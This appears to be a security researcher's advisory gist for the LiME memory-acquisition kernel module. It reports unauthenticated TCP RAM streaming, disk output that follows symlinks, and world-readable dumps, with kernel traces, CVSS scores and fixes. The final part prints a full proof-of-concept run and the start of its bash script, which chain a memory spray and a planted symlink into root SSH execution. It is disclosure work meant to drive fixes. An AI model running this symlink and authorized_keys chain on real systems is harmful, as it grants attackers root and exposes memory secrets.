Skip to content

Instantly share code, notes, and snippets.

@thesmartshadow
Last active July 13, 2026 17:44
Show Gist options
  • Select an option

  • Save thesmartshadow/df8f1e68986075422fa75311cdeecb87 to your computer and use it in GitHub Desktop.

Select an option

Save thesmartshadow/df8f1e68986075422fa75311cdeecb87 to your computer and use it in GitHub Desktop.
LiME kernel memory acquisition flaws: unauthenticated TCP RAM disclosure and unsafe disk output handling

LiME kernel-assisted memory disclosure and unsafe disk output handling

Researcher: Ali Firas (thesmartshadow)

Target: jtsylve/LiME (Linux Memory Extractor)

Tested lab:

Linux lime-lab 7.0.0-27-generic #27-Ubuntu SMP PREEMPT_DYNAMIC Thu Jun 18 19:13:49 UTC 2026 x86_64 GNU/Linux
LiME source tree: /home/ali/LiME
Build target: /home/ali/LiME/src/lime-7.0.0-27-generic.ko

Executive summary

LiME is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Two documented output modes expose high-impact security issues when LiME is used during incident response or forensic acquisition:

  1. Unauthenticated TCP memory acquisition: LiME's documented TCP mode binds to all interfaces by default and streams the full physical memory image to the first TCP client, without authentication or receiver verification.
  2. Unsafe disk output path handling: LiME opens operator-supplied disk output paths from kernel/root context with O_CREAT | O_TRUNC and mode 0444, without O_NOFOLLOW or regular-file validation. This enables root-owned file clobbering through attacker-controlled symlinks and creates world-readable RAM dumps.

The TCP issue is the strongest CVE/GHSA candidate because it follows the documented workflow directly and requires no special parser harness: a network-adjacent client can receive the target's physical memory dump.

The disk issue is a separate local impact chain. The root-owned file overwrite is deterministic when a privileged operator writes to an attacker-controlled path. A safe OpenSSH parser demonstration further shows that attacker-controlled process memory can be written into a root-owned parser-consumed file and accepted by a privileged service, resulting in root command execution. That LPE proof is intentionally scoped as parser-mediated impact amplification, not as a precise arbitrary file write.

CVE/GHSA eligibility framing

This report is written to match the evidence reviewers usually need:

  • Specific public codebase: LiME is publicly released source code, and the affected code paths are in src/tcp.c, src/main.c, src/disk.c, and src/hash.c.
  • Clear vulnerability type: missing authentication for a critical memory acquisition stream; improper link resolution before file access; unsafe permission assignment for sensitive output.
  • Security impact: disclosure of full physical memory, local disclosure of root-owned RAM dumps, root-owned file clobbering, and parser-mediated local privilege escalation.
  • Reproducible proof: VM proofs include source references, runtime output, kprobe/kernel-stack evidence, and full PoC scripts.
  • Remediation path: safe defaults, explicit opt-in for risky behavior, O_NOFOLLOW, 0600 output files, regular-file validation, and regression tests.

GitHub states that repository security advisories are used to privately discuss and fix vulnerabilities and that GitHub can assign CVE identifiers for eligible advisories in public repositories. GitHub's advisory workflow asks for affected versions and recommends adding a fixed version when possible before publication:

NVD describes CVEs as identifiers for vulnerabilities in specific code bases and notes that CVE records include vulnerability type, vendor/product, affected code base, expected impact, attack vector, and remediation state:

Finding 1: unauthenticated TCP acquisition streams full physical memory to the first client

Title

LiME TCP acquisition mode exposes full physical memory to an unauthenticated first client.

Affected component

  • src/main.c
  • src/tcp.c
  • documented path=tcp:<port> acquisition mode

Root cause

LiME's TCP mode accepts a module parameter such as path=tcp:4444. The module creates a kernel TCP listener, binds to all interfaces by default, listens with a backlog of 1, and accepts the first client. There is no authentication, no authorization, no receiver identity check, and no shared secret.

Documentation explicitly states that localhostonly=0 binds on all interfaces and is the default:

README.md:85-87
localhostonly (optional):
    1 ~ restricts tcp to only listen on localhost
    0 ~ binds on all interfaces (default)

The documented Linux TCP workflow is:

README.md:111
insmod ./lime-$(uname -r).ko "path=tcp:4444 format=lime"

README.md:117
nc <target-ip> 4444 > ram.lime

The deeper documentation repeats the same behavior:

docs/README.md:186-188
localhostonly Optional. 1 restricts the tcp to only
              listen on localhost, 0 binds on all
              interfaces (default)

docs/README.md:205
insmod ./lime-$(uname -r).ko "path=tcp:4444 format=lime"

docs/README.md:212
nc <target-ip> 4444 > ram.lime

Relevant code:

// src/main.c
int localhostonly = 0;
module_param(localhostonly, int, S_IRUGO);

// src/tcp.c
if (localhostonly) {
    saddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
} else {
    saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}

r = kernel_listen(control, 1);
r = kernel_accept(control, &accept, 0);

Why this is security-sensitive

LiME does not stream an ordinary log file. It streams the target's physical memory image from kernel context. The memory image can contain:

  • root-owned process memory
  • credentials, tokens, API keys, session material
  • encryption keys
  • forensic evidence and private application data
  • kernel and user-space memory artifacts

The first client that connects receives that data. If an attacker can reach the listening port before the intended collector, the attacker wins the acquisition stream.

Proof of concept summary

The lab PoC placed a unique marker inside a root-owned process, started LiME in TCP mode, and connected from an external Kali host on the same network.

Listener proof:

LISTEN 0      1            0.0.0.0:4444      0.0.0.0:*

External client proof:

FOUND_ROOT_MEMORY_MARKER_OVER_NETWORK=YES
LIME_TCP_RING0_EXFIL_1783874809_daf3fc71-b83d-4b01-adec-506349ceb221_END
bytes_received=4294421600

This shows that an unauthenticated network client received the full LiME memory stream and recovered data that existed only in a root-owned process memory buffer.

Kernel trace evidence

A kprobe on kernel_bind() and kernel_accept() captured the TCP path:

LISTEN 0      1            0.0.0.0:4445      0.0.0.0:*
first_32_bytes=454d694c010000000010000000000000fffb0900000000000000000000000000

The first bytes are the LiME header magic in little-endian form:

45 4d 69 4c = 0x4C694D45

The kernel_bind kprobe captured an all-interface bind:

lime_kernel_bind: (kernel_bind+0x0/0xa0) family=2 port=23825 addr=0

family=2 is AF_INET; addr=0 is INADDR_ANY; the displayed port is the network-byte-order value read directly from struct sockaddr_in.

The stack shows the operation originates from LiME module initialization:

=> kernel_bind
=> lime_init_module
=> do_one_initcall
=> do_init_module
=> load_module
=> init_module_from_file
=> idempotent_init_module
=> __x64_sys_finit_module
=> x64_sys_call
=> do_syscall_64
=> entry_SYSCALL_64_after_hwframe

Impact

A network-adjacent attacker can connect before the intended forensic collector and receive a full physical memory dump without credentials.

Suggested CWE

  • CWE-306: Missing Authentication for Critical Function
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Suggested CVSS

Primary score, evaluating the listening state:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5 High

I do not rely on UI:R for the TCP issue. The operator's act of starting a documented acquisition mode is better treated as the vulnerable product state being enabled. The unauthenticated network client does not need to trick a user into opening attacker-supplied content.

Recommended fix

  • Bind TCP acquisition to loopback by default.
  • Require explicit opt-in for all-interface binding.
  • Add receiver authentication, for example a one-time token passed as a module parameter and verified before streaming memory.
  • Consider refusing TCP mode without either localhostonly=1 or an explicit unsafe_all_interfaces=1.
  • Add regression tests for default bind behavior and localhostonly.

Finding 2: disk output follows attacker-controlled symlinks and creates unsafe RAM dump files

Title

LiME disk output follows attacker-controlled symlinks, allowing root-owned file clobbering and parser-mediated local privilege escalation.

Affected component

  • src/disk.c
  • src/hash.c sidecar digest path
  • documented local disk acquisition mode

Scope and preconditions

The deterministic symlink overwrite should not be presented as a generic /tmp symlink exploit on hardened default Linux distributions. Modern Ubuntu, Debian, and RHEL-style systems commonly run with fs.protected_symlinks=1; in that configuration, a symlink planted in a sticky world-writable directory such as /tmp and pointing to a root-owned target is expected to be blocked by the kernel.

The reliable disk-overwrite/LPE PoC therefore uses an operator-supplied path= inside a directory owned by the unprivileged attacker, for example /home/limeattacker/lime-ssh-out. The realistic remaining scope is:

  • the privileged LiME operator stages acquisition output inside a directory fully controlled by the subject or local attacker;
  • the target system, container, or appliance has symlink protections disabled or unavailable, such as fs.protected_symlinks=0;
  • an embedded or Android-style acquisition workflow uses writable external storage. LiME itself documents Android disk acquisition to /sdcard/ram.lime.

The documented /tmp/ram.lime example still supports the world-readable dump issue for newly created files, but it should not be used as the primary claim for root-owned symlink overwrite on hardened default Linux systems.

Root cause

LiME accepts a filesystem path through the path= module parameter and opens it from kernel/root context:

// src/disk.c
int oflags = O_WRONLY | O_CREAT | O_LARGEFILE | O_TRUNC;
...
f = filp_open(path, oflags, 0444);

The disk path is not protected with O_NOFOLLOW, and there is no post-open validation that the final object is a regular trusted file. The file is created with mode 0444, making newly-created memory dumps world-readable on typical systems.

The same unsafe disk setup is reused for digest sidecar output:

// src/hash.c
snprintf(p, len, "%s.%s", path, digest);

if (setup_disk(p, 0)) {
    ret = LIME_DIGEST_FAILED;
    goto out;
}

Documentation evidence

LiME documents local disk acquisition to /tmp/ram.lime:

README.md:105
insmod ./lime-$(uname -r).ko "path=/tmp/ram.lime format=lime"

docs/README.md:245-248
Disk-based acquisition may be preferred when the investigator
wants to avoid overwriting network buffers. Set the path
parameter to a file path to write the memory image directly
to disk.

docs/README.md:253
insmod ./lime-$(uname -r).ko "path=/tmp/ram.lime format=lime"

The project also documents Android and external-storage acquisition:

README.md:120-133
insmod /sdcard/lime.ko "path=/sdcard/ram.lime format=lime"

docs/README.md:256-263
On Android, the SD card is a common destination.
insmod /sdcard/lime.ko "path=/sdcard/ram.lime format=lime"

Deterministic impact

If a privileged operator writes to an attacker-controlled path, a local attacker can pre-create that path as a symlink to a root-owned file. LiME follows the symlink from kernel/root context, truncates the target, and writes the physical memory image into it.

This is not a precise arbitrary-write primitive. It is a destructive root-owned file clobber primitive whose content is the physical memory stream.

VM proof: root-owned file overwrite

The lab PoC used an attacker-controlled path:

lrwxrwxrwx 1 limeattacker limeattacker ... /home/limeattacker/lime-out.lime -> /root/lime-root-owned-sentinel.txt

After LiME ran:

after: owner=root group=root mode=600 size=4294421600 path=/root/lime-root-owned-sentinel.txt
00000000: 45 4d 69 4c 01 00 00 00 ...
[+] ROOT_OWNED_FILE_OVERWRITTEN_THROUGH_ATTACKER_SYMLINK=YES

The target file was root-owned, and its first bytes became the LiME memory dump header.

Kernel trace evidence

A kprobe on filp_open() captured the unsafe open from LiME:

lime_showcase_filp_open: (filp_open+0x0/0x50)
filename="/home/limeattacker/lime-ssh-out" flags=0x8241 mode=0x124

The values decode to:

flags=0x8241 = O_WRONLY | O_CREAT | O_TRUNC | O_LARGEFILE
mode=0x124   = octal 0444

Stack:

=> filp_open
=> lime_init_module
=> do_one_initcall
=> do_init_module
=> load_module
=> init_module_from_file
=> idempotent_init_module
=> __x64_sys_finit_module
=> x64_sys_call
=> do_syscall_64
=> entry_SYSCALL_64_after_hwframe

VM proof: parser-mediated LPE demonstration

The safe PoC does not modify the real /root/.ssh/authorized_keys. Instead, it writes to /root/.ssh/authorized_keys_lime_poc and starts an isolated sshd instance on 127.0.0.1:2222 that reads only that test file.

The PoC placed an OpenSSH authorized_keys-compatible forced-command line in an unprivileged attacker's resident process memory. LiME then wrote the physical memory stream into the root-owned target file through the attacker-controlled symlink.

Proof excerpt:

owner=root group=root mode=444 size=2566426624 path=/root/.ssh/authorized_keys_lime_poc
marker found at byte offset 22670543
attacker SSH key blob found at byte offset 22670473
marker-to-key delta      -70 bytes (key precedes marker)

Hex window around controlled memory:

0159eccf  4c 49 4d 45 5f 4d 45 4d 4f 52 59 5f 48 55 4e 54  |LIME_MEMORY_HUNT|
0159ed0f  5f 45 4e 44 0a 63 6f 6d 6d 61 6e 64 3d 22 2f 62  |_END.command="/b|
0159ed1f  69 6e 2f 73 68 20 2d 63 20 27 69 64 20 3e 20 2f  |in/sh -c 'id > /|
0159ed3f  6f 66 3b 20 65 63 68 6f 20 4c 49 4d 45 5f 53 53  |of; echo LIME_SS|

OpenSSH proof:

ssh_exit=0
uid=0(root) gid=0(root) groups=0(root)
LIME_SSH_LPE_YES
[+] LOCAL_PRIVILEGE_ESCALATION_VIA_AUTHORIZED_KEYS=YES

Important limitation

The LPE proof is parser-mediated and probabilistic. The attacker does not control the exact file offset. The exploit relies on two properties:

  1. LiME dumps resident physical memory, including the unprivileged attacker's process memory.
  2. Some privileged parsers, such as OpenSSH authorized_keys, tolerate unrelated bytes and scan for valid records.

The successful laboratory run used the following memory-spray parameters:

Measurement Observed value
Configured attacker spray 768 MiB
VM physical RAM 3.32 GiB
Spray as a fraction of RAM 22.6%
Result Marker and OpenSSH authorized_keys record recovered; isolated OpenSSH authentication succeeded

The 22.6% figure describes the recorded VM run, not a universal reliability threshold. No success-rate curve has been measured yet across 8 GiB, 16 GiB, larger production hosts, ulimit, or cgroup memory limits. Future validation should record the minimum spray ratio that gives reliable recovery, for example >90% success, on larger-memory systems.

The root-owned file clobber is deterministic. The placement of attacker-controlled bytes inside the memory stream is demonstrated but should not be described as a precise arbitrary write.

World-readable memory dump impact

New disk output files are created with mode 0444. A separate lab proof showed a non-root user reading a root-created memory dump and recovering a marker from a root-owned process:

owner=root group=root mode=444 path=/var/tmp/lime-ghsa-proof.lime
uid=1001(limeattacker) gid=1001(limeattacker)
BEGIN_LIME_GHSA_1783874017_027a7570-3603-43fe-b141-e83e1ab0f410_END
[+] NON_ROOT_CAN_READ_ROOT_MEMORY_SECRET=YES

Suggested CWE

  • CWE-59: Improper Link Resolution Before File Access ('Link Following')
  • CWE-73: External Control of File Name or Path
  • CWE-732: Incorrect Permission Assignment for Critical Resource
  • CWE-200: Exposure of Sensitive Information

Suggested CVSS

Primary CVSS 4.0 request for the disk-output chain:

CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale: AT:P captures the real precondition: the privileged acquisition must use an attacker-controlled output path or a system without effective symlink protection. UI:N is intentional here; the attacker does not need a victim to open attacker-supplied content. The operator's LiME invocation is the vulnerable acquisition state, not the attacker's interaction step.

Legacy CVSS 3.1 reference, if the reviewer requires 3.1:

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H = 7.3 High

If a deployment runs automated or scheduled LiME acquisition to a predictable attacker-writable path, the 3.1 UI:N variant can be argued:

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.1 High

Recommended fix

  • Open disk outputs with O_NOFOLLOW.
  • Create new dump files with 0600, not 0444.
  • Reject symlink targets and non-regular files.
  • Refuse predictable paths in world-writable directories unless an explicit unsafe option is set.
  • Consider openat2() with RESOLVE_NO_SYMLINKS / RESOLVE_BENEATH on kernels where it is available.
  • Apply the same protections to digest sidecar files.
  • Add regression tests for symlink paths, output permissions, dio=1, digest sidecar output, TCP default bind behavior, and localhostonly.

Test coverage gap that supports remediation

The repository's test architecture explicitly states that some relevant behaviors are not tested:

docs/test-architecture.md:170-176
What Is Not Tested
- TCP transport (network streaming)
- Direct I/O (`dio=1`)
- `localhostonly` parameter
- Memory edge cases (sparse RAM layouts, large gaps)
- Performance or stress testing

This is not itself a vulnerability, but it explains why the unsafe default TCP bind, unauthenticated stream, and disk-output edge cases were not caught by the current test harness.

Recommended advisory split

I recommend two advisories or two CVEs, because the root causes, attack surfaces, and fixes are distinct:

  1. Unauthenticated TCP physical memory disclosure

    • Attack surface: network
    • Primary impact: full RAM disclosure
    • Root cause: no authentication and all-interface bind by default
    • Suggested CVSS: 7.5 High
  2. Unsafe disk output path handling

    • Attack surface: local filesystem path
    • Primary impact: root-owned file clobber, world-readable RAM dumps, parser-mediated LPE
    • Root cause: symlink-following filp_open() with O_TRUNC and mode 0444
    • Suggested CVSS: primary CVSS 4.0 vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N; legacy CVSS 3.1 reference 7.3 High

Suggested short descriptions

TCP issue

LiME before a fixed version exposes physical memory over unauthenticated TCP acquisition. The documented path=tcp:<port> mode binds to all interfaces by default and streams the full memory image to the first connecting client without authentication, allowing a network-adjacent attacker to obtain sensitive kernel and user-space memory.

Disk issue

LiME before a fixed version follows symlinks for disk acquisition output paths and creates memory dump files with unsafe permissions. A local attacker who can influence the output path can cause LiME, running in kernel/root context, to truncate or create a root-owned target file and write the physical memory stream into it. This can disclose sensitive memory, corrupt security-sensitive files, and enable parser-mediated local privilege escalation when attacker-controlled memory bytes are interpreted by a privileged parser.

Disclosure note

The OpenSSH proof intentionally uses a dedicated test file and isolated local sshd to avoid modifying the real root SSH configuration. The demonstration proves the parser-mediated impact while keeping the lab safe and reproducible. It should not be described as a universal, exact-offset arbitrary write.

LiME disk dumps are created world-readable by default

Summary

LiME creates disk memory dump files with mode 0444. When a privileged operator uses LiME's documented disk acquisition flow and writes a new dump in a traversable directory such as /tmp, the resulting physical memory image is readable by every local user on the system.

Because LiME captures physical memory, the output can contain credentials, tokens, private keys, process memory, and other sensitive data. The disk writer does not need group/other read permissions to function, so this appears to be an unsafe default permission issue rather than intended behavior.

Affected code

src/disk.c:

int setup_disk(char *path, int dio) {
    int oflags = O_WRONLY | O_CREAT | O_LARGEFILE | O_TRUNC;
    ...
    f = filp_open(path, oflags, 0444);

The Direct I/O probe uses the same creation mode:

f = filp_open(path, oflags | O_DIRECT | O_SYNC, 0444);

The digest sidecar writer also calls setup_disk(), so newly-created sidecar files inherit the same mode. The primary risk is the memory dump itself.

Why this is security-impacting

LiME's README documents disk acquisition like this:

insmod ./lime-$(uname -r).ko "path=/tmp/ram.lime format=lime"

For a new file, LiME passes 0444 as the creation mode. Under a common root umask such as 0022, the created dump remains 0444:

-r--r--r-- 1 root root ... /tmp/ram.lime

Any local unprivileged user who can traverse the output directory can read the dump after acquisition.

Proof of concept

The included PoC does not load the LiME kernel module. It mirrors the exact security-relevant open flags and mode from src/disk.c:

./security-poc/run-world-readable-dump-poc.sh

Observed result in the provided container:

created=/tmp/lime-poc-public.jel2mb/ram.lime
mode=0444
other_readable=yes
-r--r--r-- 1 root root 91 Jul 12 18:27 /tmp/lime-poc-public.jel2mb/ram.lime

The container only maps UID 0, so switching to nobody is blocked by the environment. The file mode still demonstrates that a normal multi-user Linux system would allow other users to read the file.

Expected behavior

New memory dump files should be private to the privileged operator by default, for example 0600, unless the operator explicitly relaxes permissions after acquisition.

Actual behavior

New memory dump files are created with group and other read permissions enabled under normal umask settings.

Suggested fix

Create disk outputs with 0600 instead of 0444:

f = filp_open(path, oflags, 0600);

Consider also hardening disk output with:

oflags |= O_NOFOLLOW;

and, after opening, verify that the target is a regular file before writing. That would reduce symlink and special-file footguns in privileged acquisition workflows.

Suggested CVSS

Conservative: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

If the maintainer scores normal LiME execution as the expected product state rather than user interaction, this may be considered:

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Example command:
sudo FORCE_COLOR=1 SPRAY_MB=768 ./security-poc/lime-disk-lpe-showcase.sh /home/ali/LiME | tee /tmp/lime-disk-lpe-showcase.log
Representative output from the lab VM:
__ _ __ ________ ____ _ __
/ / (_) |/ / ____/ / __ \| | /| / /
/ / / / /|_/ / __/ / /_/ /| |/ |/ /
/ /___/ / / / / /___ / ____/ |__/|__/
/_____/_/_/ /_/_____/ /_/
LiME disk-output symlink + memory-content injection showcase
Controlled lab PoC. Does not touch the real /root/.ssh/authorized_keys.
==[1] Environment and safety checks
------------------------------------------------------------
lab fingerprint
------------------------------------------------------------
kernel 7.0.0-27-generic
machine x86_64
RAM 3.30 GiB
swap 2.14 GiB
cgroup memory.max max
baseline [######################################] 100%
[*] full uname:
Linux lime-lab 7.0.0-27-generic #27-Ubuntu SMP PREEMPT_DYNAMIC Thu Jun 18 19:13:49 UTC 2026 x86_64 GNU/Linux
[*] filesystem for /tmp:
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/ubuntu--vg-ubuntu--lv 12G 5.0G 5.8G 47% /
[*] symlink protection:
fs.protected_symlinks = 1
==[2] Build LiME with symbols
------------------------------------------------------------
kernel module build
------------------------------------------------------------
source tree /home/ali/LiME/src
module /home/ali/LiME/src/lime-7.0.0-27-generic.ko
module size 2236816 bytes
build log /tmp/lime-build-showcase.log
[+] built module: /home/ali/LiME/src/lime-7.0.0-27-generic.ko
==[3] Source and documentation evidence
------------------------------------------------------------
source evidence
------------------------------------------------------------
[*] documented disk workflow:
/home/ali/LiME/README.md:105:insmod ./lime-$(uname -r).ko "path=/tmp/ram.lime format=lime"
/home/ali/LiME/docs/README.md:253:insmod ./lime-$(uname -r).ko "path=/tmp/ram.lime format=lime"
[*] vulnerable disk open:
48: int oflags = O_WRONLY | O_CREAT | O_LARGEFILE | O_TRUNC;
63: f = filp_open(path, oflags, 0444);
missing guard no O_NOFOLLOW / no regular-file check before filp_open
create mode 0444 root-owned dump target
==[4] Prepare attacker account and controlled memory spray
[+] attacker user: uid=1001(limeattacker) gid=1001(limeattacker) groups=1001(limeattacker)
[!] fs.protected_symlinks=1 is active; /tmp symlink following to /root is expected to fail.
[+] selected reliable attacker-controlled output path: /home/limeattacker/lime-ssh-out
[*] memory spray plan:
RAM total 3.30 GiB
spray size 768 MiB
spray ratio 22.73%
marker LIME_MEMORY_HUNT_1783881402_11111111-2222-3333-4444-555555555555_END
spray/RAM [########------------------------------] 22%
[+] attacker memory process pid: 6123
requested resident 805306368 bytes
------------------------------------------------------------
attacker memory residency
------------------------------------------------------------
[*] resident memory status:
VmSize: 794000 kB
VmRSS: 787000 kB
VmSwap: 0 kB
==[5] Plant symlink at documented-style output path
[+] attacker planted symlink:
------------------------------------------------------------
symlink chain
------------------------------------------------------------
lrwxrwxrwx 1 limeattacker limeattacker 35 Jul 12 18:02 /home/limeattacker/lime-ssh-out -> /root/.ssh/authorized_keys_lime_poc
operator path /home/limeattacker/lime-ssh-out
kernel target /root/.ssh/authorized_keys_lime_poc
[*] target before acquisition:
/root/.ssh/authorized_keys_lime_poc does not exist yet
==[6] Run LiME and capture kernel-level file-open evidence
[+] kernel trace armed: kprobe(filp_open) with stacktrace trigger
------------------------------------------------------------
ring-0 acquisition
------------------------------------------------------------
operator path /home/limeattacker/lime-ssh-out
format raw
kernel primitive filp_open(path, O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE, 0444)
[*] loading LiME through the attacker-controlled symlink
[*] kernel trace excerpt for LiME output open:
insmod-6150 [001] .....: lime_showcase_filp_open: (filp_open+0x0/0x50)
filename="/home/limeattacker/lime-ssh-out" flags=0x8241 mode=0x124
insmod-6150 [001] .....: <stack trace>
=> filp_open
=> lime_init_module
=> do_one_initcall
=> do_init_module
=> load_module
=> init_module_from_file
=> idempotent_init_module
=> __x64_sys_finit_module
[+] kernel trace saved: /tmp/lime-filp-open-showcase.trace
[+] LiME acquisition completed through symlink
==[7] Hunt attacker-controlled bytes inside the root-owned output
------------------------------------------------------------
root-owned output after LiME
------------------------------------------------------------
[*] target after acquisition:
owner=root group=root mode=444 size=2568728576 path=/root/.ssh/authorized_keys_lime_poc
-r--r--r-- 1 root root 2.4G Jul 12 18:03 /root/.ssh/authorized_keys_lime_poc
target mode 444
target owner root:root
target size 2568728576 bytes
[*] memory hunt: scanning root-owned file for attacker marker
------------------------------------------------------------
memory scan: marker search
------------------------------------------------------------
hit offset 2485508 / 2566488064 bytes (0.0968% of dump)
walk to hit [###-----------------------------------] 8%
walk to hit [######--------------------------------] 16%
walk to hit [#########-----------------------------] 25%
walk to hit [############--------------------------] 33%
walk to hit [###############-----------------------] 41%
walk to hit [###################-------------------] 50%
walk to hit [######################----------------] 58%
walk to hit [#########################-------------] 66%
walk to hit [############################----------] 75%
walk to hit [###############################-------] 83%
walk to hit [##################################----] 91%
walk to hit [######################################] 100%
[+] marker found at byte offset 2485508
[*] memory hunt: scanning root-owned file for attacker's SSH public key blob
------------------------------------------------------------
memory scan: ssh key search
------------------------------------------------------------
hit offset 2485438 / 2566488064 bytes (0.0968% of dump)
walk to hit [###-----------------------------------] 8%
walk to hit [######--------------------------------] 16%
walk to hit [#########-----------------------------] 25%
walk to hit [############--------------------------] 33%
walk to hit [###############-----------------------] 41%
walk to hit [###################-------------------] 50%
walk to hit [######################----------------] 58%
walk to hit [#########################-------------] 66%
walk to hit [############################----------] 75%
walk to hit [###############################-------] 83%
walk to hit [##################################----] 91%
walk to hit [######################################] 100%
[+] attacker SSH key blob found at byte offset 2485438
marker-to-key delta -70 bytes (key precedes marker)
------------------------------------------------------------
hex window around controlled memory
------------------------------------------------------------
hex window: file_offset=0x25eca4, bytes=512
0025eca4 61 72 64 69 6e 67 2c 6e 6f 2d 70 74 79 20 73 73 |arding,no-pty ss|
0025ecb4 68 2d 65 64 32 35 35 31 39 20 41 41 41 41 43 33 |h-ed25519 AAAAC3|
0025ecc4 4e 7a 61 43 31 6c 5a 44 49 31 4e 54 45 35 41 41 |NzaC1lZDI1NTE5AA|
0025ecd4 41 41 49 49 43 4d 34 62 49 36 68 51 47 2f 4b 4d |AAIICM4bI6hQG/KM|
0025ece4 45 42 4f 35 36 61 74 42 50 75 52 68 70 70 58 52 |EBO56atBPuRhppXR|
0025ecf4 73 63 37 47 67 57 59 61 37 33 79 77 52 48 0a 0a |sc7GgWYa73ywRH..|
0025ed04 4c 49 4d 45 5f 4d 45 4d 4f 52 59 5f 48 55 4e 54 |LIME_MEMORY_HUNT|
0025ed14 5f 31 37 38 33 38 37 39 33 38 39 5f 30 38 63 61 |_1783879389_08ca|
[*] printable context around marker/key material:
LIME_MEMORY_HUNT_1783881402_11111111-2222-3333-4444-555555555555_END
command="/bin/sh -c 'id > /tmp/lime-lpe-proof; echo LIME_SSH_LPE_YES >> /tmp/lime-lpe-proof; chmod 0644 /tmp/lime-lpe-proof'",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI...
==[8] Use isolated OpenSSH parser to prove root execution
------------------------------------------------------------
isolated parser
------------------------------------------------------------
sshd bind 127.0.0.1:2222
AuthorizedKeysFile .ssh/authorized_keys_lime_poc
[+] isolated sshd started on 127.0.0.1:2222
------------------------------------------------------------
root execution proof
------------------------------------------------------------
attacker user limeattacker
private key /home/limeattacker/lime_lpe_ed25519
[*] attacker authenticates as root using key material injected through LiME dump
ssh_exit=0
uid=0(root) gid=0(root) groups=0(root)
LIME_SSH_LPE_YES
[+] LOCAL_PRIVILEGE_ESCALATION_VIA_AUTHORIZED_KEYS=YES
== PoC summary ==
Chosen output path: /home/limeattacker/lime-ssh-out
Symlink target: /root/.ssh/authorized_keys_lime_poc
Attacker user: limeattacker
Spray size: 768 MiB
Marker: LIME_MEMORY_HUNT_1783881402_11111111-2222-3333-4444-555555555555_END
Kernel trace: /tmp/lime-filp-open-showcase.trace
Proof file: /tmp/lime-lpe-proof
#!/usr/bin/env bash
#
# LiME disk-output symlink + memory-content injection showcase.
#
# Safe-by-default lab PoC:
# - Uses the documented-style /tmp/ram.lime output path.
# - Makes /tmp/ram.lime a symlink to a dedicated root-owned test file:
# /root/.ssh/authorized_keys_lime_poc
# - Does NOT modify /root/.ssh/authorized_keys.
# - Starts an isolated sshd on 127.0.0.1:2222 that reads only the test file.
#
# Run inside the disposable LiME VM:
# sudo SPRAY_MB=768 security-poc/lime-disk-lpe-showcase.sh /home/ali/LiME
#
set -Eeuo pipefail
REPO="${1:-/home/ali/LiME}"
ATTACKER="${ATTACKER:-limeattacker}"
OUT="${OUT:-/tmp/ram.lime}"
TARGET="/root/.ssh/authorized_keys_lime_poc"
PROOF="/tmp/lime-lpe-proof"
PIDFILE="/tmp/lime-memory-spray.pid"
SSHD_CFG="/tmp/lime-sshd-poc.conf"
SSHD_LOG="/tmp/lime-sshd-poc.log"
SSHD_PID="/tmp/lime-sshd-poc.pid"
SSHD_PORT="${SSHD_PORT:-2222}"
TRACE_FILE="/tmp/lime-filp-open-showcase.trace"
KTRACE="${KTRACE:-1}"
KEEP="${KEEP:-0}"
CREATED_OUT=0
if [[ -t 1 && -z "${NO_COLOR:-}" ]]; then
C_RESET=$'\033[0m'
C_DIM=$'\033[2m'
C_RED=$'\033[31m'
C_GREEN=$'\033[32m'
C_YELLOW=$'\033[33m'
C_BLUE=$'\033[34m'
C_MAGENTA=$'\033[35m'
C_CYAN=$'\033[36m'
C_BOLD=$'\033[1m'
else
C_RESET="" C_DIM="" C_RED="" C_GREEN="" C_YELLOW="" C_BLUE="" C_MAGENTA="" C_CYAN="" C_BOLD=""
fi
step_no=0
banner() {
printf '%s\n' "${C_BOLD}${C_MAGENTA}"
printf '%s\n' ' __ _ __ ________ ____ _ __'
printf '%s\n' ' / / (_) |/ / ____/ / __ \| | /| / /'
printf '%s\n' '/ / / / /|_/ / __/ / /_/ /| |/ |/ / '
printf '%s\n' '/ /___/ / / / / /___ / ____/ |__/|__/ '
printf '%s\n' '/_____/_/_/ /_/_____/ /_/ '
printf '%s\n' "${C_RESET}"
printf '%s\n' "${C_BOLD}LiME disk-output symlink + memory-content injection showcase${C_RESET}"
printf '%s\n' "${C_DIM}Controlled lab PoC. Does not touch the real /root/.ssh/authorized_keys.${C_RESET}"
}
log() { printf '%s\n' "${C_BLUE}[*]${C_RESET} $*"; }
ok() { printf '%s\n' "${C_GREEN}[+]${C_RESET} $*"; }
warn() { printf '%s\n' "${C_YELLOW}[!]${C_RESET} $*"; }
fail() { printf '%s\n' "${C_RED}[-]${C_RESET} $*" >&2; }
step() {
step_no=$((step_no + 1))
printf '\n%s\n' "${C_CYAN}${C_BOLD}==[$step_no] $*${C_RESET}"
}
die() {
fail "$*"
exit 1
}
need_root() {
[[ "${EUID:-$(id -u)}" -eq 0 ]] || die "Run with sudo/root so tracefs, insmod, and the isolated sshd setup can work."
}
need_cmd() {
command -v "$1" >/dev/null 2>&1 || die "Missing command: $1"
}
cleanup() {
set +e
[[ -n "${T:-}" && -d "${T:-/nonexistent}" ]] && {
echo 0 > "$T/tracing_on" 2>/dev/null
echo 0 > "$T/events/kprobes/lime_showcase_filp_open/enable" 2>/dev/null
echo '!stacktrace' > "$T/events/kprobes/lime_showcase_filp_open/trigger" 2>/dev/null
echo > "$T/kprobe_events" 2>/dev/null
}
rmmod lime 2>/dev/null
[[ -f "$SSHD_PID" ]] && kill "$(cat "$SSHD_PID")" 2>/dev/null
